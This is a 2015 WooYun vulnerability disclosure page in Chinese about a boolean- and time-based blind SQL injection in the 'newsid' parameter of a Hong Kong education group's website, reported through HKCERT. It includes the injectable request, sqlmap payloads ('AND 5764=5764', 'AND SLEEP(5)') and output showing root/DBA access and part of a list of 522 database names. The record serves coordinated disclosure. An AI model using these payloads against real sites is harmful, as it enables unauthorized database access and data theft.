当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145540

漏洞标题:香港安基司国际教育集团sql注入(布尔型/root用户DBA/影响522个数据库)(香港地區)

相关厂商:hkcert香港互联网应急协调中心

漏洞作者: 路人甲

提交时间:2015-10-11 20:08

修复时间:2015-11-29 15:30

公开时间:2015-11-29 15:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-11: 细节已通知厂商并且等待厂商处理中
2015-10-15: 厂商已经确认,细节仅向厂商公开
2015-10-25: 细节向核心白帽子及相关领域专家公开
2015-11-04: 细节向普通白帽子公开
2015-11-14: 细节向实习白帽子公开
2015-11-29: 细节向公众公开

简要描述:

RT
从数据库名称推测涉及2009年到2015年数据

详细说明:

注入点

http://**.**.**.**/mainSkool/mainSkool.php


需要抓包进行测试,newsid存在注入

GET /mainSkool/php/news/news.php?newsid=154 HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/mainSkool/php/news/news.php
Connection: keep-alive


sqlmap顺利出数据

Place: GET
Parameter: newsid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: newsid=154 AND 5764=5764
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: newsid=154 AND SLEEP(5)
---
[13:44:13] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.0.63
back-end DBMS: MySQL 5.0.11
[13:44:13] [INFO] fetching current user
[13:44:13] [WARNING] running in a single-thread mode. Please consider
ption '--threads' for faster data retrieval
[13:44:13] [INFO] retrieved: root@localhost
current user: 'root@localhost'


web application technology: PHP 5.2.6, Apache 2.0.63
back-end DBMS: MySQL 5.0.11
[13:47:56] [INFO] testing if current user is DBA
[13:47:56] [INFO] fetching current user
[13:47:56] [INFO] resumed: root@localhost
[13:47:56] [WARNING] running in a single-thread mode. Pleas
ption '--threads' for faster data retrieval
[13:47:56] [INFO] retrieved: 1
current user is DBA: 'True'


522个数据库,贴出一部分

[13:48:27] [INFO] retrieved: 522
[13:48:31] [INFO] retrieved: information_sc
[13:49:06] [INFO] retrieved: 2012_cckwkg
[13:49:21] [INFO] retrieved: agcwmk
[13:49:29] [INFO] retrieved: agcwyk
[13:49:39] [INFO] retrieved: ajs
[13:49:44] [INFO] retrieved: ajs_en
[13:49:54] [INFO] retrieved: akin1
[13:50:03] [INFO] retrieved: akin2
[13:50:11] [INFO] retrieved: akin3
[13:50:19] [INFO] retrieved: akinnews_cpg
[13:50:39] [INFO] retrieved: akinnews_sfs3
[13:51:02] [INFO] retrieved: akintw1
[13:51:11] [INFO] retrieved: akintw2
[13:51:22] [INFO] retrieved: akintw3
[13:51:35] [INFO] retrieved: aks2009
[13:51:52] [INFO] retrieved: aks2009_en
[13:52:06] [INFO] retrieved: aks2009s
[13:52:22] [INFO] retrieved: aks2009s_en
[13:52:37] [INFO] retrieved: aksa
[13:52:46] [INFO] retrieved: aksa_en
[13:52:59] [INFO] retrieved: aksb
[13:53:06] [INFO] retrieved: aksb_en
[13:53:16] [INFO] retrieved: alcsmac
................
..............
.........
...
.


漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-10-15 15:29

厂商回复:

已聯絡相關機構處理

最新状态:

暂无